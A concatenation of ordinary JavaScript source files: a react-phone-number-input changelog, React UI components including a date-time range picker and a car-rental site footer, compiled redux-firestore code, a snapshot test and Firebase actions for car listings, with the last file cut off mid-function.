(breaking change) Removed `/resources` directory (due to not being used). 1.1.13 / 12.07.2018 =================== * Added `react-phone-number-input/basic-input` component. 1.1.3 / 29.05.2018 =================== * Some CSS tweaks and code refactoring. 1.1.2 / 29.05.2018 =================== * Added an isolated `react-phone-number-input/native` export (so that it doesn't include `react-responsive-ui` package in the resulting bundle). * Some CSS tweaks. * `countrySelectComponent` `onToggle` property renamed to `hidePhoneInputField`. 1.1.0 / 28.05.2018 =================== * Added `PhoneInputNative` exported component which deprecateds the old `nativeCountrySelect={true/false}` property. `PhoneInputNative` component doesn't require `rrui.css`. It will be the default exported component in version `2.x`. * Fixed [a minor bug](https://github.com/catamphetamine/react-phone-number-input/issues/131) appering in React 16.4 which caused the currently selected country flag to be reset while typing. 1.0.10 / 19.04.2018 =================== * Added an optional `smartCaret={false}` property for [fixing Samsung Android phones](https://github.com/catamphetamine/react-phone-number-input/issues/75). 1.0.8 / 19.04.2018 =================== * (breaking change) Changed the properties passed to a custom `inputComponent`, see `Input.js` `propTypes` for more info. * Added `BasicInput`: an alternative `inputComponent` for working around the Samsung Galaxy caret positioning bug. 1.0.0 / 21.03.2018 =================== * (breaking change) Rewrote `Input.js` — there is a possibility that something could potentially break for users coming from previous versions. * (breaking change) No longer exporting `libphonenumber-js` functions. * (breaking change) `dictionary`'s `"International"` key renamed to `"ZZ"`. * (breaking change) `dictionary` property renamed to `labels`. * (breaking change) `nativeExpanded` property renamed to `nativeCountrySelect`. * (breaking change) `selectTabIndex` property renamed to `countrySelectTabIndex`. * (breaking change) `selectMaxItems` property renamed to `countrySelectMaxItems`. * (breaking change) `selectAriaLabel` property renamed to `countrySelectAriaLabel`. * (breaking change) `selectCloseAriaLabel` property renamed to `countrySelectCloseAriaLabel`. * (breaking change) `selectComponent` property renamed to `countrySelectComponent` * (breaking change) `flagComponent`'s `countryCode` property was renamed to just `country`. * (breaking change) Renamed `countries with flags.js` to `flags.js` and put them in the root folder. * (breaking change) `flags` property changed: it can no longer be a `boolean` and can only be an object of flag `React.Component`s. * (breaking change) `selectStyle` and `inputStyle` properties removed (due to not being used). * (breaking change) `inputTabIndex` property removed (use `tabIndex` instead). * (breaking change) `onCountryChange` property removed (no one actually used it). * (breaking change) `convertToNational` property renamed to `displayInitialValueAsLocalNumber`. * (breaking change) `style.css` changed a bit (to accomodate phone number extension field). * (breaking change) If someone did override `.rrui__input:not(.rrui__input--multiline)` CSS rule then now it has been split into two CSS rules: `.rrui__input` and `.rrui__input--multiline`. * Added `locale`s for the `labels` property (`ru` and `en`). * Added `ext` property for phone number extension input. 0.17.0 / 24.02.2018 =================== * (breaking change) Fixed SVG flag icons for IE. This alters the markup a bit: `<img/>` is now wrapped in a `<div/>` and the CSS class of the image becomes the CSS class of the div and also a new CSS class for the image is added. This could hypothetically be a breaking change in some advanced use cases hence the major version bump. * Fixed `<Select/>` scrolling to the top of the page in IE <= 11. * Fixed validation error margin left. 0.16.0 / 22.02.2018 =================== * Updated `libphonenumber-js` to `1.0.x`. * `parsePhoneNumber()`, `isValidPhoneNumber()` and `formatPhoneNumber()` no longer accept `undefined` phone number argument: it must be either a `string` or a parsed number `object` having a `string` `phone` property. 0.15.0 / 10.10.2017 =================== * Added `error` and `indicateInvalid` properties for displaying error label. * (CSS breaking change) `react-phone-number-input` `<div/>` is now wrapped by another `<div/>` and its CSS class name changed to `react-phone-number-input__row` and `react-phone-number-input` CSS class name goes to the wrapper. 0.14.0 / 04.10.2017 =================== * Returning `<input/>` `type` back to `tel`. There used to be reports previously that `input="tel"` `<input/>`s on some non-stock Android devices with non-stock keyboards had issues with proper caret positioning during input. Well, those are non-stock Android bugs and therefore they should fix those there. `type="tel"` is better in terms of the digital input keyboard so it's now a default. Still can be overridden by passing `type="text"` property. 0.13.0 / 20.09.2017 =================== This release contains some minor CSS class names refactoring which most likely won't introduce any issues in almost but all use cases. (CSS breaking change) Refactored `<Select/>` CSS class names in `react-responsive-ui`: * `.rrui__select__selected--autocomplete` -> `.rrui__select__autocomplete` * `.rrui__select__selected` -> `.rrui__select__button` * `.rrui__select__selected--nothing` -> `.rrui__select__button--empty` * `.rrui__select__selected--expanded` -> `.rrui__select__button--expanded` * `.rrui__select__selected--disabled` -> `.rrui__select__button--disabled` (CSS breaking change) Added `.rrui__text-input__input` CSS class to the phone number `<input/>`. (CSS breaking change) Added global `.rrui__text-input__input` styles to `style.css` 0.12.1 / 27.07.2017 =================== * Due to the [reports](https://github.com/catamphetamine/react-phone-number-input/issues/59) stating that `type="tel"` caret positioning doesn't work on Samsung devices the component had to revert back to `type="text"` by default (one can pass `type="tel"` property directly though). 0.12.0 / 25.07.2017 =================== * (breaking change) The default value of `convertToNational` property changed from `true` to `false`. The reason is that the newer generation grows up when there are no stationary phones and therefore everyone inputs phone numbers with a `+` in their smartphones so local phone numbers should now be considered obsolete. 0.11.3 / 16.05.2017 =================== * Now alphabetically sorting the supplied custom country names 0.11.2 / 12.05.2017 =================== * Fixed a bug when `value` was not set to `undefined` when the `<input/>` value was empty * Added `selectMaxItems` property for customizing the country select height 0.11.0 / 03.05.2017 =================== * (CSS breaking change) Removed vertical padding from the first and the last `<Select/>` `<li/>` options and moved it to `.rrui__select__options` `<ul/>` itself. So if someone customized `.rrui__select__options-list-item:first-child` and `.rrui__select__options-list-item:last-child` vertical padding then those padding customizations should be moved to `.rrui__select__options` itself. * (CSS breaking change) Added `.rrui__select__option:hover` and `.rrui__select__option--focused:hover` background color for better UX. 0.10.0 / 18.04.2017 =================== * (might be a breaking change) Slightly refactored the component CSS improving it in a couple of places along with adding comments to it (see `style.css`). * Added country code validation. 0.9.1 / 16.04.2017 ================== * (breaking change) Moved the `.css` file to the root folder of the package and **split it into two files** (the `rrui` one is not required when already using `react-responsive-ui`). `import`ing the CSS file via Webpack is the recommended way to go now. * (breaking change) Vendor prefixes dropped in favour of manually using autoprefixers. 0.8.10 / 15.04.2017 =================== * Added support for externally changing `value` property 0.8.5 / 06.04.2017 ================== * Added `inputTabIndex` and `selectTabIndex` settings 0.8.5 / 05.04.2017 ================== * Added `nativeExpanded` setting for native country `<select/>` 0.8.1 / 27.03.2017 ================== * The `.valid` property has been removed from "as you type" formatter, therefore dropping the `.react-phone-number-input__phone--valid` CSS class. This doesn't affect functionality in any way nor does it break existing code therefore it's a "patch" version upgrade. 0.8.0 / 17.03.2017 ================== * (could be a breaking change) Moving CSS positioning properties from inline styles to the CSS file therefore if using an edited CSS file from older versions (when not doing it via Webpack `require(...)`) update styles for `.rrui__select` and `.rrui__select__options`. As well as `.rrui__expandable` and `.rrui__shadow` have been added. Maybe (and most likely) something else, so better re-copy the entire CSS file. 0.7.11 / 16.03.2017 =================== * Fixed a small bug when an initially passed phone number `value` wasn't checked for country autodetection * A small enhancement: when an international phone number is erased to a single `+` then the currently selected country is reset. And, analogous, when a country is selected, and the input is empty, and then the user enters a single `+` sign — the country is reset too. 0.7.9 / 12.03.2017 ================== * Fixed a small bug when the `country` property was set after page load programmatically and that caused the input taking focus (which displayed a keyboard on mobile devices) 0.7.5 / 22.02.2017 ================== * `@JeandeCampredon` fixed `Const declarations are not supported in strict mode` in module exports 0.7.1 / 28.01.2017 ================== * Added custom metadata feature (now developers have a way to reduce the resulting bundle size in case they decide they need that) * `lockCountry` property removed (use `countries={[country]}` instead) * Added `international` boolean property to explicitly indicate whether to show the "International" option in the list of countries * Not showing country `<Select/>` when `countries.length === 1` or `countries.length === 0` * `countries` property can now only be an array of country codes 0.6.13 / 28.01.2017 =================== * Fixed the flags bug introduced by adding `flags={ false }` option 0.6.12 / 27.01.2017 =================== * Added `flags={ false }` option 0.6.11 / 26.01.2017 =================== * Added `lockCountry` option * Added a possibility to specify `countries` as an array of country codes * Fixed country selection on `country` property update 0.6.8 / 03.01.2017 =================== * Optimized performance on mobile devices 0.6.6 / 30.12.2016 =================== * Added a bunch of CSS classes: `react-phone-number-input`, `react-phone-number-input--valid`, `react-phone-number-input__country`, `react-phone-number-input__phone`, `react-phone-number-input__phone--valid` 0.6.5 / 28.12.2016 =================== * Now hiding the phone input while the country select is open 0.6.1 / 24.12.2016 =================== * Fixed collapsed select options being interactive in iOS 8 Safari 0.6.0 / 23.12.2016 =================== * A complete rewrite. Now supports all countries, all formats are hard-coded from Google Android's `libphonenumber` library. 0.5.4 / 11.12.2016 =================== * Hong Kong phone numbers fix by @nchan0154 0.5.3 / 15.11.2016 =================== * Added some popular country formats (and stubs for other countries) * Small bug fix for trunk prefixed phone numbers 0.5.0 / 14.11.2016 =================== * `format` prop is now not required for the React component. If `format` is not specified then the input switches itself into "auto" (iPhone style) mode. * input code rewrite 0.4.0 / 15.09.2016 =================== * (breaking change) `digits` passed to the `template()` function don't include trunk prefix anymore * Introduced custom `valid(digits)` phone number validation function for phone number format 0.3.0 / 07.09.2016 =================== * `format_phone_number` (aka `formatPhoneNumber`) function now formats phone number internationally (with country code) if no `format` argument was supplied (it tries to autodetect the correct phone number format from the phone number itself) * Added `country(phone)` function * Added `country_from_locale(locale)` (aka `countryFromLocale(locale)`) function 0.2.11 / 06.09.2016 =================== * Added `parse_phone_number` (aka `parsePhoneNumber`) function 0.2.10 / 04.09.2016 =================== * Added `plaintext_local` (aka `plaintextLocal`) and `plaintext_international` (aka `plaintextInternational`) methods 0.2.0 / 03.09.2016 ================== * Added custom phone formats * Refactoring * Removed `format_phone_number_international` (aka `formatPhoneNumberInternational`) 0.1.20 / 19.08.2016 =================== * Added `disabled` property 0.1.18 / 11.08.2016 =================== * Added `name` property (for javascriptless websites) 0.1.0 / 15.07.2016 =================== * Initial release<file_sep>export { default as KeyboardNavigationListener } from './modules/KeyboardNavigationListener' export { default as PageAndMenu } from './modules/PageAndMenu' export { default as Page } from './modules/Page' export { default as SlideOutMenu } from './modules/SlideOutMenu' export { default as MenuButton } from './modules/MenuButton' export { default as MenuIcon } from './modules/MenuIcon' export { default as Form } from './modules/Form' export { default as FadeInOut } from './modules/FadeInOut' export { default as Snackbar } from './modules/Snackbar' export { default as Tooltip } from './modules/Tooltip' export { default as ActivityIndicator } from './modules/ActivityIndicator' export { default as Ellipsis } from './modules/Ellipsis' export { default as TextInput } from './modules/TextInput' export { default as List } from './modules/List' export { default as ScrollableList } from './modules/ScrollableList' export { default as ExpandableList } from './modules/ExpandableList' export { default as Expandable } from './modules/Expandable' export { default as Select } from './modules/Select' export { default as Autocomplete } from './modules/Autocomplete' export { default as ExpandableMenu } from './modules/ExpandableMenu' export { default as ExpansionPanel } from './modules/ExpansionPanel' export { default as Divider } from './modules/Divider' export { default as Button } from './modules/Button' export { default as Switch } from './modules/Switch' export { default as Checkbox } from './modules/Checkbox' export { default as Switcher } from './modules/Switcher' export { default as DatePicker } from './modules/DatePicker' export { default as FileUpload } from './modules/FileUpload' export { default as DropFileUpload } from './modules/DropFileUpload' export { default as DropMultiFileUpload } from './modules/DropMultiFileUpload' export { default as Modal } from './modules/Modal' // Drag'n'drop export { DragAndDrop, CanDrop, File, File as FILE, Files, Files as FILES } from './modules/DragAndDrop' export { setModularGridUnit } from './modules/utility/grid'<file_sep>import React, { Component } from 'react' import { Link } from 'react-router-dom' import Container from 'react-bootstrap/Container' import Row from 'react-bootstrap/Row' import Col from 'react-bootstrap/Col' import Logo from '../../assets/logo.png' import './index.scss' export class Footer extends Component { render() { return ( <footer> <Container> <Row> <Col sm={12} md={4}> <img src={Logo} alt='logo' /> </Col> <Col sm={12} md={4}> <p>ABOUT US</p> <ul> <li>+381 63/140-64-25</li> <li><EMAIL></li> <li>Sijekovac 80, 74450 Bos. Brod BiH</li> </ul> </Col> <Col sm={12} md={4}> <p>QUICK LINKS</p> <ul> <li><Link to="/">About Us</Link></li> <li><Link to="/">Our Cars</Link></li> <li><Link to="/">Blog</Link></li> </ul> </Col> </Row> </Container> <div className='footer-copyright'> <Container> <p>&nbsp; 2019 Rent Car . All rights reserved</p> </Container> </div> </footer> ) } } export default Footer<file_sep>import React, { PureComponent } from 'react'; import PropTypes from 'prop-types'; import { polyfill } from 'react-lifecycles-compat'; import makeEventProps from 'make-event-props'; import mergeClassNames from 'merge-class-names'; import Fit from 'react-fit'; import Calendar from 'react-calendar/dist/entry.nostyle'; import Clock from 'react-clock/dist/entry.nostyle'; import DateTimeInput from 'react-datetime-picker/dist/DateTimeInput'; const allViews = ['hour', 'minute', 'second']; const baseClassName = 'react-datetimerange-picker'; export default class DateTimeRangePicker extends PureComponent { static getDerivedStateFromProps(nextProps, prevState) { const nextState = {}; if (nextProps.isCalendarOpen !== prevState.isCalendarOpenProps) { nextState.isCalendarOpen = nextProps.isCalendarOpen; nextState.isCalendarOpenProps = nextProps.isCalendarOpen; } if (nextProps.isClockOpen !== prevState.isClockOpenProps) { nextState.isClockOpen = nextProps.isClockOpen; nextState.isClockOpenProps = nextProps.isClockOpen; } return nextState; } state = {}; get eventProps() { return makeEventProps(this.props); } componentDidMount() { document.addEventListener('mousedown', this.onOutsideAction); document.addEventListener('focusin', this.onOutsideAction); } componentWillUnmount() { document.removeEventListener('mousedown', this.onOutsideAction); document.removeEventListener('focusin', this.onOutsideAction); } onOutsideAction = (event) => { if (this.wrapper && !this.wrapper.contains(event.target)) { this.closeWidgets(); } } onDateChange = ([valueFrom, valueTo], closeWidgets = true) => { const { value } = this.props; const [prevValueFrom, prevValueTo] = [].concat(value); const nextValueFrom = (() => { if (!prevValueFrom) { return valueFrom; } const valueWithHour = new Date(valueFrom); valueWithHour.setHours( prevValueFrom.getHours(), prevValueFrom.getMinutes(), prevValueFrom.getSeconds(), prevValueFrom.getMilliseconds(), ); return valueWithHour; })(); const nextValueTo = (() => { if (!prevValueTo) { return valueTo; } const valueWithHour = new Date(valueTo); valueWithHour.setHours( prevValueTo.getHours(), prevValueTo.getMinutes(), prevValueTo.getSeconds(), prevValueTo.getMilliseconds(), ); return valueWithHour; })(); this.onChange([nextValueFrom, nextValueTo], closeWidgets); } onChange = (value, closeWidgets = true) => { this.setState(prevState => ({ isCalendarOpen: prevState.isCalendarOpen && !closeWidgets, isClockOpen: prevState.isClockOpen && !closeWidgets, })); const { onChange } = this.props; if (onChange) { onChange(value); } } onChangeFrom = (valueFrom, closeWidgets = true) => { const { value } = this.props; const [, valueTo] = [].concat(value); this.onChange([valueFrom, valueTo], closeWidgets); } onChangeTo = (valueTo, closeWidgets = true) => { const { value } = this.props; const [valueFrom] = [].concat(value); this.onChange([valueFrom, valueTo], closeWidgets); } onFocus = (event) => { const { disabled, onFocus } = this.props; if (onFocus) { onFocus(event); } // Internet Explorer still fires onFocus on disabled elements if (disabled) { return; } switch (event.target.name) { case 'day': case 'month': case 'year': this.openCalendar(); break; case 'hour12': case 'hour24': case 'minute': case 'second': this.openClock(); break; default: } } openClock = () => { this.setState({ isCalendarOpen: false, isClockOpen: true, }); } openCalendar = () => { this.setState({ isCalendarOpen: true, isClockOpen: false, }); } toggleCalendar = () => { this.setState(prevState => ({ isCalendarOpen: !prevState.isCalendarOpen, isClockOpen: false, })); } closeWidgets = () => { this.setState((prevState) => { if (!prevState.isCalendarOpen && !prevState.isClockOpen) { return null; } return { isCalendarOpen: false, isClockOpen: false, }; }); } stopPropagation = event => event.stopPropagation(); clear = () => this.onChange(null); renderInputs() { const { calendarIcon, clearIcon, disabled, locale, maxDetail, maxDate, minDate, name, required, showLeadingZeros, value, } = this.props; const { isCalendarOpen, isClockOpen } = this.state; const [valueFrom, valueTo] = [].concat(value); const commonProps = { className: `${baseClassName}__inputGroup`, disabled, isWidgetOpen: isCalendarOpen || isClockOpen, locale, maxDate, maxDetail, minDate, required, showLeadingZeros, }; return ( <div className={`${baseClassName}__wrapper`}> <DateTimeInput {...commonProps} name={`${name}_from`} onChange={this.onChangeFrom} returnValue="start" value={valueFrom} /> – <DateTimeInput {...commonProps} name={`${name}_to`} onChange={this.onChangeTo} returnValue="end" value={valueTo} /> {clearIcon !== null && ( <button className={`${baseClassName}__clear-button ${baseClassName}__button`} disabled={disabled} onClick={this.clear} onFocus={this.stopPropagation} type="button" > {clearIcon} </button> )} {calendarIcon !== null && ( <button className={`${baseClassName}__calendar-button ${baseClassName}__button`} disabled={disabled} onClick={this.toggleCalendar} onFocus={this.stopPropagation} onBlur={this.resetValue} type="button" > {calendarIcon} </button> )} </div> ); } renderCalendar() { const { isCalendarOpen } = this.state; if (isCalendarOpen === null) { return null; } const { calendarClassName, className: dateTimeRangePickerClassName, // Unused, here to exclude it from calendarProps maxDetail: dateTimeRangePickerMaxDetail, // Unused, here to exclude it from calendarProps onChange, value, ...calendarProps } = this.props; const className = `${baseClassName}__calendar`; return ( <Fit> <div className={mergeClassNames(className, `${className}--${isCalendarOpen ? 'open' : 'closed'}`)}> <Calendar className={calendarClassName} onChange={this.onDateChange} selectRange value={value || null} {...calendarProps} /> </div> </Fit> ); } renderClock() { const { disableClock } = this.props; const { isClockOpen } = this.state; if (isClockOpen === null || disableClock) { return null; } const { clockClassName, className: dateTimeRangePickerClassName, // Unused, here to exclude it from clockProps maxDetail, onChange, value: dateTimeRangePickerValue, ...clockProps } = this.props; const className = `${baseClassName}__clock`; const maxDetailIndex = allViews.indexOf(maxDetail); const value = [].concat(dateTimeRangePickerValue)[0]; // TODO: Show clock for "date to" inputs return ( <Fit> <div className={mergeClassNames(className, `${className}--${isClockOpen ? 'open' : 'closed'}`)}> <Clock className={clockClassName} renderMinuteHand={maxDetailIndex > 0} renderSecondHand={maxDetailIndex > 1} value={value} {...clockProps} /> </div> </Fit> ); } render() { const { className, disabled } = this.props; const { isCalendarOpen, isClockOpen } = this.state; return ( <div className={mergeClassNames( baseClassName, `${baseClassName}--${isCalendarOpen || isClockOpen ? 'open' : 'closed'}`, `${baseClassName}--${disabled ? 'disabled' : 'enabled'}`, className, )} {...this.eventProps} onFocus={this.onFocus} ref={(ref) => { if (!ref) { return; } this.wrapper = ref; }} > {this.renderInputs()} {this.renderCalendar()} {this.renderClock()} </div> ); } } const CalendarIcon = ( <svg xmlns="http://www.w3.org/2000/svg" width="19" height="19" viewBox="0 0 19 19"> <g stroke="black" strokeWidth="2"> <rect width="15" height="15" x="2" y="2" fill="none" /> <line x1="6" y1="0" x2="6" y2="4" /> <line x1="13" y1="0" x2="13" y2="4" /> </g> </svg> ); const ClearIcon = ( <svg xmlns="http://www.w3.org/2000/svg" width="19" height="19" viewBox="0 0 19 19"> <g stroke="black" strokeWidth="2"> <line x1="4" y1="4" x2="15" y2="15" /> <line x1="15" y1="4" x2="4" y2="15" /> </g> </svg> ); DateTimeRangePicker.defaultProps = { calendarIcon: CalendarIcon, clearIcon: ClearIcon, isCalendarOpen: null, isClockOpen: null, maxDetail: 'minute', name: 'datetimerange', }; DateTimeRangePicker.propTypes = { ...Calendar.propTypes, calendarClassName: PropTypes.oneOfType([ PropTypes.string, PropTypes.arrayOf(PropTypes.string), ]), calendarIcon: PropTypes.node, className: PropTypes.oneOfType([ PropTypes.string, PropTypes.arrayOf(PropTypes.string), ]), clearIcon: PropTypes.node, disabled: PropTypes.bool, disableClock: PropTypes.bool, isCalendarOpen: PropTypes.bool, isClockOpen: PropTypes.bool, maxDetail: PropTypes.oneOf(allViews), name: PropTypes.string, required: PropTypes.bool, showLeadingZeros: PropTypes.bool, }; polyfill(DateTimeRangePicker); <file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = crossSliceReducer; var _keys2 = _interopRequireDefault(require("lodash/keys")); var _get2 = _interopRequireDefault(require("lodash/get")); var _set2 = _interopRequireDefault(require("lodash/set")); var _merge2 = _interopRequireDefault(require("lodash/merge")); var _groupBy2 = _interopRequireDefault(require("lodash/groupBy")); var _values2 = _interopRequireDefault(require("lodash/values")); var _immer = _interopRequireDefault(require("immer")); var _constants = require("../constants"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function crossSliceReducer() { var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var action = arguments.length > 1 ? arguments[1] : undefined; return (0, _immer.default)(state, function (draft) { switch (action.type) { case _constants.actionTypes.DOCUMENT_MODIFIED: case _constants.actionTypes.DOCUMENT_ADDED: case _constants.actionTypes.DOCUMENT_REMOVED: case _constants.actionTypes.LISTENER_RESPONSE: case _constants.actionTypes.UNSET_LISTENER: var groups = (0, _groupBy2.default)((0, _values2.default)(state.queries), function (c) { return c.storeAs || c.collection; }); (0, _keys2.default)(groups).forEach(function (storeAs) { var updated = {}; groups[storeAs].forEach(function (item) { return (0, _merge2.default)(updated, (0, _get2.default)(item, 'data', {})); }); (0, _set2.default)(draft, ['composite', storeAs], updated); }); return draft; default: return state; } }); }<file_sep>import React from 'react' import Adapter from 'enzyme-adapter-react-16' import { shallow, configure } from 'enzyme' import { LastAdded } from './lastAdded' configure({ adapter: new Adapter() }); describe('LastAdded', () => { // const props = { projects: {} } const lastAdded = shallow(<LastAdded />) console.log('wwwwww', lastAdded.debug()); it('render LastAdded', () => { expect(lastAdded).toMatchSnapshot() }) })<file_sep>import firebase from '../../fbConfig' import 'firebase/storage' const storage = firebase.storage().ref() export const createProject = (project) => { return (dispatch, getState, { getFirebase, getFirestore }) => { const firestore = getFirestore() const profile = getState().firebase.profile const authorId = getState().firebase.auth.uid if (project.companyName !== 'Company') { project.companyName = 'Personal' } const newImageName = new Date().getTime() storage.child(`profile/${newImageName}`).put(project.picture).then(() => { storage.child(`profile/${newImageName}`).getDownloadURL().then(function (downloadURL) { firestore.collection('project').add({ createdAt: new Date(), authorFirstName: profile.firstName, authorLastName: profile.lastName, authhorId: authorId, Currency: project.currency, carPrice: project.carPrice, carYear: project.carYear, carType: project.carType, carModel: project.carModel, carDescription: project.carDescription, feedback: 0, carStatistick: project.listElements, userImage: downloadURL, carCity: project.carCity, carCountry: project.carCountry, companyName: project.companyName, carAddress: project.carAddress, transmision: project.transmision }).then(() => { dispatch({ type: 'CREATE_PROJECT', project }) }).catch((err) => { dispatch({ type: 'CREATE_PROJECT_ERROR', err }) }) }) }) } } export const updateProject = (info) => { return (dispatch, getState, { getFirebase, getFirestore }) => { const firestore = getFirestore() firestore.collection('project').doc(info.carID).update({ feedback: info.feedback }) } } export const sendMessageToClient = (message) => { console.log('sendmessage', message) return (dispatch, getState, { getFirebase, getFirestore }) => { const firestore = getFirestore() firestore.collection('messages').add({ phoneNumber: message.phoneNumber, Email: message.yourEmail, date: message.date, OwnerID: message.userID, projectID: message.projectID, messageStatus: 0, carType: message.carType, carModel: message.carModel }) } }<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = exports.methodsToAddFromFirestore = exports.defaultConfig = exports.actionTypes = exports.actionsPrefix = void 0; var actionsPrefix = '@@reduxFirestore'; exports.actionsPrefix = actionsPrefix; var actionTypes = { START: "".concat(actionsPrefix, "/START"), ERROR: "".concat(actionsPrefix, "/ERROR"), CLEAR_DATA: "".concat(actionsPrefix, "/CLEAR_DATA"), CLEAR_ERROR: "".concat(actionsPrefix, "/CLEAR_ERROR"), CLEAR_ERRORS: "".concat(actionsPrefix, "/CLEAR_ERRORS"), SET_LISTENER: "".concat(actionsPrefix, "/SET_LISTENER"), UNSET_LISTENER: "".concat(actionsPrefix, "/UNSET_LISTENER"), GET_REQUEST: "".concat(actionsPrefix, "/GET_REQUEST"), GET_SUCCESS: "".concat(actionsPrefix, "/GET_SUCCESS"), GET_FAILURE: "".concat(actionsPrefix, "/GET_FAILURE"), SET_REQUEST: "".concat(actionsPrefix, "/SET_REQUEST"), SET_SUCCESS: "".concat(actionsPrefix, "/SET_SUCCESS"), SET_FAILURE: "".concat(actionsPrefix, "/SET_FAILURE"), ADD_REQUEST: "".concat(actionsPrefix, "/ADD_REQUEST"), ADD_SUCCESS: "".concat(actionsPrefix, "/ADD_SUCCESS"), ADD_FAILURE: "".concat(actionsPrefix, "/ADD_FAILURE"), UPDATE_REQUEST: "".concat(actionsPrefix, "/UPDATE_REQUEST"), UPDATE_SUCCESS: "".concat(actionsPrefix, "/UPDATE_SUCCESS"), UPDATE_FAILURE: "".concat(actionsPrefix, "/UPDATE_FAILURE"), DELETE_REQUEST: "".concat(actionsPrefix, "/DELETE_REQUEST"), DELETE_SUCCESS: "".concat(actionsPrefix, "/DELETE_SUCCESS"), DELETE_FAILURE: "".concat(actionsPrefix, "/DELETE_FAILURE"), ATTACH_LISTENER: "".concat(actionsPrefix, "/ATTACH_LISTENER"), LISTENER_RESPONSE: "".concat(actionsPrefix, "/LISTENER_RESPONSE"), LISTENER_ERROR: "".concat(actionsPrefix, "/LISTENER_ERROR"), ON_SNAPSHOT_REQUEST: "".concat(actionsPrefix, "/ON_SNAPSHOT_REQUEST"), ON_SNAPSHOT_SUCCESS: "".concat(actionsPrefix, "/ON_SNAPSHOT_SUCCESS"), ON_SNAPSHOT_FAILURE: "".concat(actionsPrefix, "/ON_SNAPSHOT_FAILURE"), DOCUMENT_ADDED: "".concat(actionsPrefix, "/DOCUMENT_ADDED"), DOCUMENT_MODIFIED: "".concat(actionsPrefix, "/DOCUMENT_MODIFIED"), DOCUMENT_REMOVED: "".concat(actionsPrefix, "/DOCUMENT_REMOVED"), TRANSACTION_START: "".concat(actionsPrefix, "/TRANSACTION_START"), TRANSACTION_SUCCESS: "".concat(actionsPrefix, "/TRANSACTION_SUCCESS"), TRANSACTION_FAILURE: "".concat(actionsPrefix, "/TRANSACTION_FAILURE") }; exports.actionTypes = actionTypes; var defaultConfig = { logListenerError: true, enhancerNamespace: 'firestore', helpersNamespace: null, allowMultipleListeners: false, preserveOnDelete: null, preserveOnListenerError: null, onAttemptCollectionDelete: null, mergeOrdered: true, mergeOrderedDocUpdates: true, mergeOrderedCollectionUpdates: true }; exports.defaultConfig = defaultConfig; var methodsToAddFromFirestore = ['collection', 'configureClient', 'doc', 'batch', 'disableNetwork', 'enableNetwork', 'enablePersistence', 'ensureClientConfigured', 'setLogLevel', 'settings']; exports.methodsToAddFromFirestore = methodsToAddFromFirestore; var _default = { actionsPrefix: actionsPrefix, actionTypes: actionTypes, defaultConfig: defaultConfig }; exports.default = _default;<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.firestoreRef = firestoreRef; exports.getQueryName = getQueryName; exports.getBaseQueryName = getBaseQueryName; exports.listenerExists = listenerExists; exports.attachListener = attachListener; exports.detachListener = detachListener; exports.queryStrToObj = queryStrToObj; exports.getQueryConfig = getQueryConfig; exports.getQueryConfigs = getQueryConfigs; exports.orderedFromSnap = orderedFromSnap; exports.dataByIdSnapshot = dataByIdSnapshot; exports.getPopulateChild = getPopulateChild; exports.populateList = populateList; exports.promisesForPopulate = promisesForPopulate; exports.dispatchListenerResponse = dispatchListenerResponse; exports.getPopulateActions = getPopulateActions; var _cloneDeep2 = _interopRequireDefault(require("lodash/cloneDeep")); var _some2 = _interopRequireDefault(require("lodash/some")); var _set2 = _interopRequireDefault(require("lodash/set")); var _get2 = _interopRequireDefault(require("lodash/get")); var _map2 = _interopRequireDefault(require("lodash/map")); var _has2 = _interopRequireDefault(require("lodash/has")); var _forEach2 = _interopRequireDefault(require("lodash/forEach")); var _trim2 = _interopRequireDefault(require("lodash/trim")); var _size2 = _interopRequireDefault(require("lodash/size")); var _isEmpty2 = _interopRequireDefault(require("lodash/isEmpty")); var _isNumber2 = _interopRequireDefault(require("lodash/isNumber")); var _isObject2 = _interopRequireDefault(require("lodash/isObject")); var _isFunction2 = _interopRequireDefault(require("lodash/isFunction")); var _isArray2 = _interopRequireDefault(require("lodash/isArray")); var _isString2 = _interopRequireDefault(require("lodash/isString")); var _constants = require("../constants"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _toArray(arr) { return _arrayWithHoles(arr) || _iterableToArray(arr) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function addWhereToRef(ref, where) { if (!(0, _isArray2.default)(where)) { throw new Error('where parameter must be an array.'); } if ((0, _isString2.default)(where[0])) { return 